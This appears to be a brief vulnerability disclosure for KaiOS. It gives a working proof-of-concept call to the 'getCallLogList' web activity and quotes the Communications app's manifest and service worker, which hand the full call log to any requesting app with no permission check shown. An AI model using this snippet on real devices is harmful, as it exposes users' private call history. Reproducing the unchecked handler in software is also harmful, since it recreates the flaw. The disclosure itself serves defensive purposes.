KaiOS getCallLogList Activity

KaiOS getCallLogList Activity

let activity = new WebActivity('getCallLogList', {
  type: "calllog/tel"
});

activity.start()
  .then((callLogs) => {
    console.log(callLogs); // Array[]
  });
  
 /*
 Exposed via pre-installed Communications app
 Manifest URL: http://communications.localhost/manifest.webmanifest
 
manifest.webmanifest

"activities": {
  "getCallLogList": {
    "filters": {
      "type": {
        "required": true,
        "value": [
          "calllog/tel"
        ]
      }
    },
    "returnValue": true
  }
}

serviceWorker.js

let handler = null;
const db = new DB();
let pickHandler = null;
let getListHandler = null;

self.onsystemmessage = evt => {
  console.log('communications onsystemmessage: ' + evt.name);

  let data = null;
  let viewInfo = null;

  evt.waitUntil(
    (() => {
      switch (evt.name) {
        case 'activity':
          handler = evt.data.webActivityRequestHandler();

          if (handler.source.name === 'getCallLogList') {
            getListHandler = handler;

            db.getAllData()
              .then(list => {
                getListHandler.postResult(list);
                getListHandler = null;
              })
              .catch(() => {
                getListHandler.postResult([]);
                getListHandler = null;
              });
          }

          break;
        default:
          console.log('Illegal message');
      }
    })()
  );
};
*/

Live example and details available at https://kaios.dev/cve/1409490